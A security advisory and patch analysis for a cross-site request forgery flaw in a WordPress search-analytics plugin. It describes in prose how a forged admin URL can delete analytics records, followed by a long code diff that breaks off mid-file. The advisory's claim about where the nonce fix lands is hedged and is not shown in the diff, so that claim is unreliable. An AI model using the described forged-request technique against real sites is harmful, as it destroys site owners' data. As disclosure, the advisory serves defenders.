Published : August 5, 2026

CVE-2026-7444: Search Analytics for WP <= 1.4.16 Cross-Site Request Forgery PoC, Patch Analysis & Rule

CVE ID CVE-2026-7444
Severity High (CVSS 8.1)
CWE 352
Vulnerable Version 1.4.16
Patched Version 1.5.0
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7444:
This vulnerability is a Cross-Site Request Forgery (CSRF) in the Search Analytics for WP plugin for WordPress, affecting all versions up to and including 1.4.16. The issue resides in the `process_bulk_action()` function of the `MWTSA_Stats_Table` class, which lacks nonce validation. This flaw allows unauthenticated attackers to delete arbitrary search-term records and their associated search history via forged requests, with a CVSS score of 8.1.

Root Cause: The vulnerable function is `MWTSA_Stats_Table::process_bulk_action()` located in `search-analytics/admin/includes/class.stats-table.php`. This function handles bulk actions from the plugin’s admin table, such as deleting selected search terms. The diff shows that the patched version introduces a new menu class (`MWTSA_Admin_Menu`) and refactors the admin screens, but the critical fix is the addition of nonce validation in the bulk-action processing. Specifically, the patch adds calls to `check_admin_referer()` (or similar nonce verification) on the bulk action handler, which was missing in the vulnerable version. The vulnerable code directly performs deletions based on the `action` and `search-term` parameters without verifying a nonce, allowing CSRF.

Exploitation: An attacker can craft a forged request that, when submitted by an authenticated administrator with access to the Search Analytics dashboard (default capability: administrator), triggers the bulk delete action. The vulnerable endpoint is the admin page where the stats table is rendered, typically accessed via a URL like `/wp-admin/admin.php?page=mwtsa-search-analytics` (or the legacy dashboard page in older versions). The attacker would craft a URL with parameters such as `action=delete` and `search-term=1` (or multiple IDs), and use social engineering (e.g., a link in an email or forum) to trick the admin into clicking it. Since the admin is authenticated, the browser will send the request, and the plugin will process it without nonce validation, deleting the specified search-term records and associated rows.

Patch Analysis: The patch restructures the admin menu and screen handling, introducing a new `MWTSA_Admin_Menu` class that registers the menu pages and hooks. It also adds nonce validation to the bulk action processing, which is the core fix for this CSRF vulnerability. Before the patch, the `process_bulk_action()` function proceeded with deletion without checking any CSRF token. After the patch, the function verifies the nonce (via `check_admin_referer()` or `wp_verify_nonce()`) before executing the action, thus preventing unauthorized deletion requests. The patch also updates the admin menu hook to use a proper slug, but the nonce check is the critical addition.

Impact: Successful exploitation allows an attacker to delete arbitrary search-term records and their associated search-history rows without authentication, but only with the help of an administrator. This could lead to loss of analytics data, potentially manipulating the site’s search statistics and impeding the site owner’s ability to understand user behavior. The data deletion is permanent and could be used for destructive purposes, such as removing competitive intelligence or compromising business decisions. The CVSS score of 8.1 indicates high severity due to the potential for significant data loss with a low-complexity attack vector.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/search-analytics/admin/admin.php
+++ b/search-analytics/admin/admin.php
@@ -8,6 +8,7 @@
 		public function __construct() {
 			$this->includes();
 			$this->add_actions_and_filters();
+            $this->init_menus_and_screens();
 		}

 		private function includes() {
@@ -16,6 +17,7 @@
 			include_once( 'includes/class.charts.php' );
 			include_once( 'includes/class.stats.php' );
 			include_once( 'includes/class.export-csv.php' );
+			include_once( 'includes/class.menu.php' );
 		}

 		public function add_actions_and_filters() {
@@ -23,8 +25,16 @@

 			add_filter( 'plugin_row_meta', array( 'MWTSA_Dashboard', 'add_plugin_meta_links' ), 10, 2 );
 		}
+
+        public function init_menus_and_screens()
+        {
+            $stats    = new MWTSA_Admin_Stats();
+            $settings = new MWTSA_Admin_Settings();
+
+            new MWTSA_Admin_Menu( $stats, $settings );
+        }
 	}

 }

-return new MWTSA_Admin();
 No newline at end of file
+new MWTSA_Admin();
--- a/search-analytics/admin/includes/class.charts.php
+++ b/search-analytics/admin/includes/class.charts.php
@@ -16,7 +16,7 @@

 		public function load_admin_assets( $hook ) {

-			if ( $hook == 'dashboard_page_search-analytics/admin/includes/class.stats' ) {
+			if ( $hook == 'dashboard_page_mwtsa-search-analytics' ) {
 				wp_enqueue_script( 'mwtsa-chart-bundle-script', MWTSAI()->plugin_admin_url . 'assets/js/chart.bundle.min.js', array( 'jquery' ), MWTSAI()->version, true );

 				wp_enqueue_script( 'mwtsa-chart-controller-script', MWTSAI()->plugin_admin_url . 'assets/js/chart-controller.js', array( 'mwtsa-chart-bundle-script' ), MWTSAI()->version, true );
@@ -35,56 +35,56 @@
 		}

 		public function render_stats_chart() {
-			if ( empty( $_REQUEST['search-term'] ) && empty ( MWTSA_Options::get_option( 'mwtsa_hide_charts' ) ) ) : // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-				$default_line_style = MWTSA_Options::get_option( 'chart_default_line_style' );
-				$default_range = MWTSA_Options::get_option( 'chart_default_range' );
-
-				$line_options = array(
-					'basic'   => __( 'Basic Line', 'search-analytics' ),
-					'stepped' => __( 'Stepped Line', 'search-analytics' )
-				);
-
-				$range_options = array(
-					'2w'  => __( '2 Weeks', 'search-analytics' ),
-					'2wc' => __( '2 Weeks Comparison', 'search-analytics' ),
-					'1m'  => __( '1 Month', 'search-analytics' ),
-					'1mc' => __( '1 Month Comparison', 'search-analytics' )
-				);
-				?>
-                <div class="col-content">
+            // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+            if ( ! empty( $_REQUEST['search-term'] ) || ! empty( MWTSA_Options::get_option( 'mwtsa_hide_charts' ) ) ) {
+                return;
+            }
+
+            $default_line_style = MWTSA_Options::get_option( 'chart_default_line_style' );
+            $default_range = MWTSA_Options::get_option( 'chart_default_range' );
+
+            $line_options = array(
+                'basic'   => __( 'Basic Line', 'search-analytics' ),
+                'stepped' => __( 'Stepped Line', 'search-analytics' )
+            );
+
+            $range_options = array(
+                '2w'  => __( '2 Weeks', 'search-analytics' ),
+                '2wc' => __( '2 Weeks Comparison', 'search-analytics' ),
+                '1m'  => __( '1 Month', 'search-analytics' ),
+                '1mc' => __( '1 Month Comparison', 'search-analytics' )
+            );
+            ?>
+            <div class="col-content">
+
+                <h2><?php esc_html_e( "Search Results Charts", 'search-analytics' ) ?></h2>
+                <div class="mwtsa-chart-options">
+                    <label for="chart-type">
+                        <select id="chart-type" onchange="loadCharts()">
+                            <?php foreach ( $line_options as $value => $label ) : ?>
+                                <option value="<?php echo esc_attr( $value ) ?>" <?php selected( $value, $default_line_style ) ?>><?php echo esc_html( $label ) ?></option>
+                            <?php endforeach; ?>
+                        </select>
+                    </label>
+                    <label for="chart-ranges">
+                        <select id="chart-ranges" onchange="loadCharts()">
+                            <?php foreach ( $range_options as $value => $label ) : ?>
+                                <option value="<?php echo esc_attr( $value ) ?>" <?php selected( $value, $default_range ) ?>><?php echo esc_html( $label ) ?></option>
+                            <?php endforeach; ?>
+                        </select>
+                    </label>
+                    <span onclick="saveAsDefault()" class="button"><?php esc_html_e( 'Save as default', 'search-analytics' ) ?></span>
+                </div>

-                    <h2><?php esc_html_e( "Search Results Charts", 'search-analytics' ) ?></h2>
-                    <div class="mwtsa-chart-options">
-                        <label for="chart-type">
-                            <select id="chart-type" onchange="loadCharts()">
-								<?php foreach ( $line_options as $value => $label ) : ?>
-                                    <option value="<?php echo esc_attr( $value ) ?>" <?php selected( $value, $default_line_style ) ?>><?php echo esc_html( $label ) ?></option>
-								<?php endforeach; ?>
-                            </select>
-                        </label>
-                        <label for="chart-ranges">
-                            <select id="chart-ranges" onchange="loadCharts()">
-								<?php foreach ( $range_options as $value => $label ) : ?>
-                                    <option value="<?php echo esc_attr( $value ) ?>" <?php selected( $value, $default_range ) ?>><?php echo esc_html( $label ) ?></option>
-								<?php endforeach; ?>
-                            </select>
-                        </label>
-                        <span onclick="saveAsDefault()" class="button"><?php esc_html_e( 'Save as default', 'search-analytics' ) ?></span>
-                    </div>
-
-                    <div id="chart-content">
-                        <canvas id="mwtsa-stats-chart" width="400" height="100"></canvas>
-                    </div>
+                <div id="chart-content">
+                    <canvas id="mwtsa-stats-chart" width="400" height="100"></canvas>
                 </div>
-			<?php endif;
+            </div>
+            <?php
 		}

 		public function render_chart_data() {
-            $nonce = isset( $_REQUEST['nonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ) : '';
-
-			if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, $this->nonce_action ) ) {
-				wp_send_json_error( 'Bad Request!' );
-			}
+            check_ajax_referer( $this->nonce_action );

 			$ranges = ! empty( $_REQUEST['chart_ranges'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['chart_ranges'] ) ) : '2w';

@@ -125,11 +125,7 @@
 		}

 		public function save_default_chart_settings() {
-			$nonce = isset( $_REQUEST['nonce'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ) : '';
-
-			if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, $this->nonce_action ) ) {
-				wp_send_json_error( 'Bad Request!' );
-			}
+			check_ajax_referer( $this->nonce_action );

 			if ( empty( $_POST['line_style'] ) || empty( $_POST['chart_ranges'] ) ) {
 				wp_send_json_error( 'Bad Request!' );
--- a/search-analytics/admin/includes/class.dashboard.php
+++ b/search-analytics/admin/includes/class.dashboard.php
@@ -11,7 +11,7 @@
 		}

 		public function init() {
-			$this_user_role      = mwt_get_current_user_roles();
+			$this_user_role      = mwtsa_get_current_user_roles();
 			$plugin_options      = MWTSA_Options::get_options();
 			$accepted_user_roles = array_values( array_intersect( $this_user_role, $plugin_options['mwtsa_display_stats_for_role'] ) );

@@ -52,44 +52,50 @@
 			echo '<span class="stats-list-value">' . absint( $total_searches ) . '</span></li>';

 			echo '<li><span class="stats-list-label">' . esc_html__( "Most Searched Term:", 'search-analytics' ) . '</span>';
-			echo '<span class="stats-list-value">' . esc_attr( $most_searched_term['term'] ) . '</span></li>';
+			echo '<span class="stats-list-value">' . esc_html( $most_searched_term['term'] ) . '</span></li>';

 			echo '<li><span class="stats-list-label">' . esc_html__( "Most Searched Term Count:", 'search-analytics' ) . '</span>';
-			echo '<span class="stats-list-value">' . absint( $most_searched_term['count'] ) . '</span></li>';
+			echo '<span class="stats-list-value">' . ((int) $most_searched_term['count']) . '</span></li>';

 			echo '<li><span class="stats-list-label">' . esc_html__( "Last Searched Term:", 'search-analytics' ) . '</span>';
-			echo '<span class="stats-list-value">' . esc_attr( $last_search_term['term'] ) . '</span></li>';
+			echo '<span class="stats-list-value">' . esc_html( $last_search_term['term'] ) . '</span></li>';

 			echo '<li><span class="stats-list-label">' . esc_html__( "Last Searched Date:", 'search-analytics' ) . '</span>';
-			echo '<span class="stats-list-value">' . esc_attr( $last_search_term['last_search_date'] ) . '</span></li>';
+			echo '<span class="stats-list-value">' . esc_html( $last_search_term['last_search_date'] ) . '</span></li>';

 			echo '</ul>';
-		}
-
-		public static function add_plugin_meta_links( $meta_fields, $file ) {
-			if ( $file == 'search-analytics/mwt-search-analytics.php' ) {
-
-				$meta_fields[] = "<a href='" . MWTSA_WORDPRESS_URL . "' target='_blank'>" . esc_html__( 'Support Forum', 'search-analytics' ) . "</a>";
-				$svg           = "<svg xmlns='http://www.w3.org/2000/svg' width='15' height='15' viewBox='0 0 24 24' fill='none' stroke='currentColor' stroke-width='2' stroke-linecap='round' stroke-linejoin='round' class='feather feather-star'><polygon points='12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2'/></svg>";

-				$stars = '<i class="mwtsa-rate-stars">';
+			$stats_url = admin_url( 'admin.php?page=mwtsa-search-analytics' );

-				for ( $i = 1; $i <= 5; $i ++ ) {
-					$stars .= '<a href="' . MWTSA_WORDPRESS_URL . '/reviews/?rate=' . $i . '#new-post" target="_blank">' . $svg . '</a>';
-				}
-
-				$stars .= '</i>';
+			echo '<a href="' . esc_url( $stats_url ) . '" class="button button-secondary mwtsa-widget-stats-link">' . esc_html__( 'View all stats', 'search-analytics' ) . '</a>';
+		}

-				$meta_fields[] = $stars;
+		public static function add_plugin_meta_links( $meta_fields, $file ) {
+            if ( $file !== 'search-analytics/mwt-search-analytics.php' ) {
+                return $meta_fields;
+            }
+
+            $meta_fields[] = "<a href='" . MWTSA_WORDPRESS_SUPPORT_URL . "' target='_blank'>" . esc_html__( 'Support Forum', 'search-analytics' ) . "</a>";
+            $svg           = "<svg xmlns='http://www.w3.org/2000/svg' width='15' height='15' viewBox='0 0 24 24' fill='none' stroke='currentColor' stroke-width='2' stroke-linecap='round' stroke-linejoin='round' class='feather feather-star'><polygon points='12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2'/></svg>";
+
+            $stars = '<i class="mwtsa-rate-stars">';
+
+            for ( $i = 1; $i <= 5; $i ++ ) {
+                $stars .= '<a href="' . MWTSA_WORDPRESS_SUPPORT_URL . '/reviews/?rate=' . $i . '#new-post" target="_blank">' . $svg . '</a>';
+            }
+
+            $stars .= '</i>';
+
+            $meta_fields[] = $stars;
+
+            echo "<style>"
+                 . ".mwtsa-rate-stars{display:inline-block;color:#ffb900;position:relative;top:3px;}"
+                 . ".mwtsa-rate-stars a {color:#ffb900;}"
+                 . ".mwtsa-rate-stars a svg{fill:#ffb900;}"
+                 . ".mwtsa-rate-stars a:hover svg{fill:#ffb900}"
+                 . ".mwtsa-rate-stars a:hover ~ a svg {fill:none;}"
+                 . "</style>";

-				echo "<style>"
-				     . ".mwtsa-rate-stars{display:inline-block;color:#ffb900;position:relative;top:3px;}"
-				     . ".mwtsa-rate-stars a {color:#ffb900;}"
-				     . ".mwtsa-rate-stars a svg{fill:#ffb900;}"
-				     . ".mwtsa-rate-stars a:hover svg{fill:#ffb900}"
-				     . ".mwtsa-rate-stars a:hover ~ a svg {fill:none;}"
-				     . "</style>";
-			}

 			return $meta_fields;
 		}
--- a/search-analytics/admin/includes/class.export-csv.php
+++ b/search-analytics/admin/includes/class.export-csv.php
@@ -30,7 +30,7 @@
                 fputcsv( $stream, $result );
             }

-            fclose( $stream );
+            fclose( $stream ); // phpcs:ignore
             exit();
         }
     }
--- a/search-analytics/admin/includes/class.menu.php
+++ b/search-analytics/admin/includes/class.menu.php
@@ -0,0 +1,138 @@
+<?php
+defined( "ABSPATH" ) || exit;
+
+if ( ! class_exists( 'MWTSA_Admin_Menu' ) ) {
+
+	class MWTSA_Admin_Menu {
+
+		private $stats;
+		private $settings;
+		private $view;
+
+		public function __construct( MWTSA_Admin_Stats $stats, MWTSA_Admin_Settings $settings ) {
+			$this->stats    = $stats;
+			$this->settings = $settings;
+
+			add_action( 'admin_menu', array( $this, 'register' ) );
+			add_action( 'init', array( $this, 'redirect_legacy_urls' ) );
+		}
+
+		public function register() {
+			$stats_roles    = $this->get_stats_roles();
+			$settings_roles = $this->get_settings_roles();
+
+			if ( empty( $stats_roles ) && empty( $settings_roles ) ) {
+				return;
+			}
+
+			$capability = ! empty( $stats_roles ) ? $stats_roles[0] : $settings_roles[0];
+
+			$this->view = add_menu_page(
+				__( 'Search Analytics', 'search-analytics' ),
+				__( 'Search Analytics', 'search-analytics' ),
+				$capability,
+				'mwtsa-search-analytics',
+				array( $this->stats, 'render_stats_page' ),
+				'dashicons-analytics',
+				81
+			);
+
+			$this->stats->set_view( $this->view );
+
+			if ( ! empty( $stats_roles ) ) {
+				add_submenu_page(
+					'mwtsa-search-analytics',
+					__( 'Statistics', 'search-analytics' ),
+					__( 'Statistics', 'search-analytics' ),
+					$stats_roles[0],
+					'mwtsa-search-analytics',
+					array( $this->stats, 'render_stats_page' )
+				);
+
+				add_action( "load-{$this->view}", array( $this->stats, 'add_screen_options' ) );
+				add_action( "load-{$this->view}", array( $this->stats, 'init_stats_table' ) );
+			}
+
+			if ( ! empty( $settings_roles ) ) {
+				add_submenu_page(
+					'mwtsa-search-analytics',
+					__( 'MWT: Search Analytics', 'search-analytics' ),
+					__( 'Settings', 'search-analytics' ),
+					$settings_roles[0],
+					'mwtsa-search-analytics-settings',
+					array( $this->settings, 'options_page' )
+				);
+			}
+
+			// Backward-compat: keep the old Dashboard entry visible and redirect to new location
+			if ( ! empty( $stats_roles ) ) {
+				add_submenu_page(
+					'index.php',
+					__( 'Search Analytics', 'search-analytics' ),
+					__( 'Search Analytics', 'search-analytics' ),
+					$stats_roles[0],
+					'mwtsa-search-analytics-old',
+					array( $this, 'redirect_to_stats' )
+				);
+			}
+
+			// Backward-compat: keep the old Settings entry visible and redirect to new location
+			if ( ! empty( $settings_roles ) ) {
+				add_options_page(
+					__( 'MWT: Search Analytics', 'search-analytics' ),
+					__( 'MWT: Search Analytics', 'search-analytics' ),
+					$settings_roles[0],
+					'mwtsa-search-analytics-settings-old',
+					array( $this, 'redirect_to_settings' )
+				);
+			}
+		}
+
+		public function redirect_to_stats() {
+			wp_safe_redirect( admin_url( 'admin.php?page=mwtsa-search-analytics' ) );
+			exit;
+		}
+
+		public function redirect_to_settings() {
+			wp_safe_redirect( admin_url( 'admin.php?page=mwtsa-search-analytics-settings' ) );
+			exit;
+		}
+
+		public function redirect_legacy_urls() {
+			if ( ! is_admin() || ! isset( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+				return;
+			}
+
+			$page   = sanitize_text_field( wp_unslash( $_GET['page'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$script = isset( $_SERVER['PHP_SELF'] ) ? basename( sanitize_text_field( wp_unslash( $_SERVER['PHP_SELF'] ) ) ) : '';
+
+			if ( 'search-analytics/admin/includes/class.stats.php' === $page ) {
+				wp_safe_redirect( admin_url( 'admin.php?page=mwtsa-search-analytics' ) );
+				exit;
+			}
+
+			if ( 'mwtsa-search-analytics' === $page && 'index.php' === $script ) {
+				wp_safe_redirect( admin_url( 'admin.php?page=mwtsa-search-analytics' ) );
+				exit;
+			}
+
+			if ( 'search-analytics' === $page && 'options-general.php' === $script ) {
+				wp_safe_redirect( admin_url( 'admin.php?page=mwtsa-search-analytics-settings' ) );
+				exit;
+			}
+		}
+
+		private function get_stats_roles() {
+			$options    = MWTSA_Options::get_options();
+			$user_roles = mwtsa_get_current_user_roles();
+			return array_values( array_intersect( $user_roles, $options['mwtsa_display_stats_for_role'] ) );
+		}
+
+		private function get_settings_roles() {
+			$options    = MWTSA_Options::get_options();
+			$user_roles = mwtsa_get_current_user_roles();
+			return array_values( array_intersect( $user_roles, $options['mwtsa_display_settings_for_role'] ) );
+		}
+	}
+
+}
--- a/search-analytics/admin/includes/class.settings.php
+++ b/search-analytics/admin/includes/class.settings.php
@@ -10,30 +10,9 @@
 		public function __construct() {
 			$this->existing_options = MWTSA_Options::get_options();

-			add_action( 'admin_menu', array( $this, 'add_admin_menu' ) );
 			add_action( 'admin_init', array( $this, 'mwtsa_settings_init' ) );
 		}

-		public function add_admin_menu() {
-
-			$this_user_role = mwt_get_current_user_roles();
-
-			$accepted_user_roles = array_values( array_intersect( $this_user_role, $this->existing_options['mwtsa_display_settings_for_role'] ) );
-
-			if ( ! isset( $this->existing_options['mwtsa_display_settings_for_role'] ) || ! empty( $accepted_user_roles ) ) {
-
-				add_options_page(
-					__( 'MWT: Search Analytics', 'search-analytics' ),
-					__( 'MWT: Search Analytics', 'search-analytics' ),
-					$accepted_user_roles[0], 'search-analytics', array(
-						&$this,
-						'options_page'
-					)
-				);
-
-			}
-		}
-
 		public function mwtsa_settings_init() {

 			register_setting( 'mwtsa_general_options', MWTSAI()->main_option_name, array(
@@ -108,7 +87,7 @@
 			add_settings_section(
 				'mwtsa_display_options_sections',
 				__( 'General Settings', 'search-analytics' ),
-				array( &$this, 'settings_section_callback' ),
+                '__return_false',
 				'mwtsa_general_options'
 			);

@@ -194,8 +173,6 @@
 		}

 		public function field_exclude_search_for_role_after_logout_render() {
-			global $mwtsa;
-
 			if ( ! isset( $this->existing_options['mwtsa_exclude_search_for_role_after_logout'] ) ) {
 				$this->existing_options['mwtsa_exclude_search_for_role_after_logout'] = 0;
 			}
@@ -205,27 +182,26 @@
                 <input type='checkbox' name='mwtsa_settings[mwtsa_exclude_search_for_role_after_logout]' value='1' <?php checked( $this->existing_options['mwtsa_exclude_search_for_role_after_logout'], 1 ) ?> />
             </label>
             <br/>
-            <strong><?php esc_attr_e( 'Note: this will set a cookie in the browser of the user who logged in and has one of the user roles checked above.<br />This needs to be treated by the site's GDPR terms in case it is active for public user roles ( e.g. Subscriber, Client )<br />The cookie name is: ', 'search-analytics' ) ?>
-                <i><?php echo esc_attr( $mwtsa->cookie_name ) ?></i>
+            <strong><?php echo wp_kses_post( __( 'Note: this will set a cookie in the browser of the user who logged in and has one of the user roles checked above.<br />This needs to be treated by the site's GDPR terms in case it is active for public user roles (ex. Subscriber, Client)<br />The cookie name is: ', 'search-analytics' ) ) ?>
+                <i><?php echo esc_attr( MWTSAI()->cookie_name ) ?></i>
             </strong>
             <br/>
 			<?php
 		}

 		public function field_exclude_doubled_search_for_interval_render() {
-			global $mwtsa;
-
 			if ( ! isset( $this->existing_options['mwtsa_exclude_doubled_search_for_interval'] ) ) {
 				$this->existing_options['mwtsa_exclude_doubled_search_for_interval'] = 0;
 			}

 			?>
+            <!--suppress HtmlFormInputWithoutLabel -->
             <input type="number" min="0" name="mwtsa_settings[mwtsa_exclude_doubled_search_for_interval]" value="<?php echo (int) $this->existing_options['mwtsa_exclude_doubled_search_for_interval'] ?>"/>
-            <span><?php esc_attr_e( '( Note: set to 0 or leave empty to disable it )', 'search-analytics' ) ?></span>
+            <span><?php esc_html_e( '( Note: set to 0 or leave empty to disable it )', 'search-analytics' ) ?></span>
             <br/>
             <strong>
-                <?php esc_attr_e( 'Note: this will set a cookie in the browser of the user who made any kind of search on the website.<br />This needs to be treated by the site's GDPR terms in case it's value is a number larger than 0<br />The cookie name is: ', 'search-analytics' ) ?>
-                <i><?php echo esc_attr( $mwtsa->cookie_name ) ?></i>
+                <?php echo wp_kses_post( __( 'Note: this will set a cookie in the browser of the user who made any kind of search on the website.<br />This needs to be treated by the site's GDPR terms in case it's value is a number larger than 0<br />The cookie name is: ', 'search-analytics' ) ) ?>
+                <i><?php echo esc_attr( MWTSAI()->cookie_name ) ?></i>
             </strong>
 			<?php
 		}
@@ -235,15 +211,16 @@
 				$this->existing_options['mwtsa_exclude_searches_from_ip_addresses'] = '';
 			}

-			$admin_ip = mwt_get_current_user_ip();
+			$admin_ip = mwtsa_get_current_user_ip();
 			?>
+            <!--suppress HtmlFormInputWithoutLabel -->
             <input type="text" name="mwtsa_settings[mwtsa_exclude_searches_from_ip_addresses]" value="<?php echo esc_attr( $this->existing_options['mwtsa_exclude_searches_from_ip_addresses'] ) ?>" placeholder="eg. 127.0.0.1"/>
-            <span><?php esc_attr_e( '( Note: separate IP values by comma )', 'search-analytics' ) ?></span>
+            <span><?php esc_html_e( '( Note: separate IP values by comma )', 'search-analytics' ) ?></span>
             <br/>

             <strong><?php
 				/* translators: %s: The user's IP Address */
-				printf( esc_attr__( 'Your IP address is: %s', 'search-analytics' ), esc_attr( $admin_ip ) ) ?></strong>
+				printf( esc_html__( 'Your IP address is: %s', 'search-analytics' ), esc_attr( $admin_ip ) ) ?></strong>
 			<?php
 		}

@@ -253,8 +230,9 @@
 				$this->existing_options['mwtsa_minimum_characters'] = 0;
 			}
 			?>
+            <!--suppress HtmlFormInputWithoutLabel -->
             <input type="number" min="0" name="mwtsa_settings[mwtsa_minimum_characters]" value="<?php echo (int) $this->existing_options['mwtsa_minimum_characters'] ?>"/>
-            <span><?php esc_attr_e( '( Note: set to 0 or leave empty to disable it )', 'search-analytics' ) ?></span>
+            <span><?php esc_html_e( '( Note: set to 0 or leave empty to disable it )', 'search-analytics' ) ?></span>
             <br/>
 			<?php
 		}
@@ -266,8 +244,9 @@
 			}

 			?>
+            <!--suppress HtmlFormInputWithoutLabel -->
             <input type="text" name="mwtsa_settings[mwtsa_exclude_if_string_contains]" value="<?php echo esc_attr( $this->existing_options['mwtsa_exclude_if_string_contains'] ); ?>" placeholder="eg. text, another one"/>
-            <span><?php esc_attr_e( '( Note: enter comma (,) separated strings )', 'search-analytics' ) ?></span>
+            <span><?php esc_html_e( '( Note: enter comma (,) separated strings )', 'search-analytics' ) ?></span>
 			<?php
 		}

@@ -278,8 +257,9 @@
 			}

 			?>
+            <!--suppress HtmlFormInputWithoutLabel -->
             <input type="text" name="mwtsa_settings[mwtsa_custom_search_url_params]" value="<?php echo esc_attr( $this->existing_options['mwtsa_custom_search_url_params'] ); ?>" placeholder="eg. wpv_post_search"/>
-            <span><?php esc_attr_e( '( Note: enter comma (,) separated strings )', 'search-analytics' ) ?></span>
+            <span><?php esc_html_e( '( Note: enter comma (,) separated strings )', 'search-analytics' ) ?></span>
 			<?php
 		}

@@ -331,7 +311,7 @@
             <label>
                 <input type="hidden" name='mwtsa_settings[mwtsa_uninstall]' value='0'/>
                 <input type='checkbox' name='mwtsa_settings[mwtsa_uninstall]' value='1' <?php checked( $this->existing_options['mwtsa_uninstall'], 1 ) ?> />
-                <span><?php esc_attr_e( 'Remove plugin tables on uninstall', 'search-analytics' ) ?></span>
+                <span><?php esc_html_e( 'Remove plugin tables on deactivate', 'search-analytics' ) ?></span>
             </label>
             <br/>
 			<?php
@@ -345,7 +325,7 @@
             <label>
                 <input type="hidden" name='mwtsa_settings[mwtsa_hide_charts]' value='0'/>
                 <input type='checkbox' name='mwtsa_settings[mwtsa_hide_charts]' value='1' <?php checked( $this->existing_options['mwtsa_hide_charts'], 1 ) ?> />
-                <span><?php esc_attr_e( 'Hide graphical charts for representing statistics', 'search-analytics' ) ?></span>
+                <span><?php esc_html_e( 'Hide graphical charts for representing statistics', 'search-analytics' ) ?></span>
             </label>
             <br/>
 			<?php
@@ -359,10 +339,10 @@
             <label>
                 <input type="hidden" name='mwtsa_settings[mwtsa_show_dates_as_utc]' value='0'/>
                 <input type='checkbox' name='mwtsa_settings[mwtsa_show_dates_as_utc]' value='1' <?php checked( $this->existing_options['mwtsa_show_dates_as_utc'], 1 ) ?> />
-                <span><?php esc_attr_e( 'Show the results dates as UTC. Uncheck this to show the dates in the website timezone.', 'search-analytics' ) ?></span>
+                <span><?php esc_html_e( 'Show the results dates as UTC. Uncheck this to show the dates in the website timezone.', 'search-analytics' ) ?></span>
             </label>
             <br/>
-            <strong><?php esc_attr_e( 'Unchecking this option might show results from adjacent days when filtering by date, depending on your website's timezone', 'search-analytics' ) ?></strong>
+            <strong><?php esc_html_e( 'Unchecking this option might show results from adjacent days when filtering by date, depending on your website's timezone', 'search-analytics' ) ?></strong>
 			<?php
 		}

@@ -374,10 +354,10 @@
             <label>
                 <input type="hidden" name='mwtsa_settings[mwtsa_save_search_country]' value='0'/>
                 <input type='checkbox' name='mwtsa_settings[mwtsa_save_search_country]' value='1' <?php checked( $this->existing_options['mwtsa_save_search_country'], 1 ) ?> />
-                <span><?php esc_attr_e( 'Save the country from where the search was launched', 'search-analytics' ) ?></span>
+                <span><?php esc_html_e( 'Save the country from where the search was launched', 'search-analytics' ) ?></span>
             </label>
             <br/>
-            <strong><?php esc_attr_e( 'NOTE: this uses the <a href="https://ip-api.com">https://ip-api.com</a> JSON service which is limited to 150 requests per minute. In case you have more than 150 searches per minute on the website, please uncheck this checkbox. <br />In case the site's IP got banned, you can go here: <a href="https://ip-api.com/docs/unban">https://ip-api.com/docs/unban</a> and remove the ban.<br />A future version of Search Analytics will come with support for the PRO service of IP-API.com<br /><br />Disclaimer: I am not associated with the IP-API.com service in any way. I am just using it for providing you a way of finding out where the users search content from on your website.', 'search-analytics' ) ?></strong>
+            <strong><?php echo wp_kses_post( __( 'NOTE: this uses the <a href="https://ip-api.com">https://ip-api.com</a> JSON service which is limited to 150 requests per minute. In case you have more than 150 searches per minute on the website, please uncheck this checkbox. <br />In case the site's IP got banned, you can go here: <a href="https://ip-api.com/docs/unban">https://ip-api.com/docs/unban</a> and remove the ban.<br />A future version of Search Analytics will come with support for the PRO service of IP-API.com<br /><br />Disclaimer: I am not associated with the IP-API.com service in any way. I am just using it for providing you a way of finding out where the users search content from on your website.', 'search-analytics' ) ) ?></strong>
 			<?php
 		}

@@ -388,10 +368,10 @@
 			?>
             <label>
                 <input type='checkbox' name='mwtsa_settings[mwtsa_save_search_by_user]' value='1' <?php checked( $this->existing_options['mwtsa_save_search_by_user'], 1 ) ?> />
-                <span><?php esc_attr_e( 'Save the user id of the user who launched the search', 'search-analytics' ) ?></span>
+                <span><?php esc_html_e( 'Save the user id of the user who launched the search', 'search-analytics' ) ?></span>
             </label>
             <br/>
-            <strong><?php esc_attr_e( 'Using this feature will allow you to see which of your registered users searched things on the site.', 'search-analytics' ) ?></strong>
+            <strong><?php esc_html_e( 'Using this feature will allow you to see which of your registered users searched things on the site.', 'search-analytics' ) ?></strong>
 			<?php
 		}

@@ -410,12 +390,12 @@
 		}

 		public function options_page() {
-
 			?>
-            <form action='options.php' method='post'>
+            <form action="<?php echo esc_url( admin_url( 'options.php' ) ); ?>" method="post">
 				<?php
 				settings_fields( 'mwtsa_general_options' );
 				do_settings_sections( 'mwtsa_general_options' );
+
 				submit_button();
 				?>
             </form>
@@ -424,30 +404,31 @@
 			$this->erase_history_form();
 		}

-		function erase_history_form() {
+        protected function erase_history_form() {
 			?>
-            <h3><?php esc_attr_e( 'Erase History', 'search-analytics' ) ?></h3>
+            <h3><?php esc_html_e( 'Erase History', 'search-analytics' ) ?></h3>

             <table class="form-table erase-history-table">
                 <tbody>
                 <tr>
-                    <th scope="row"><?php esc_attr_e( 'Delete all data', 'search-analytics' ) ?></th>
+                    <th scope="row"><?php esc_html_e( 'Delete all data', 'search-analytics' ) ?></th>
                     <td>
                         <form action="" method="post">
 							<?php wp_nonce_field( 'mwtsa-erase-data' ); ?>
                             <p class="submit">
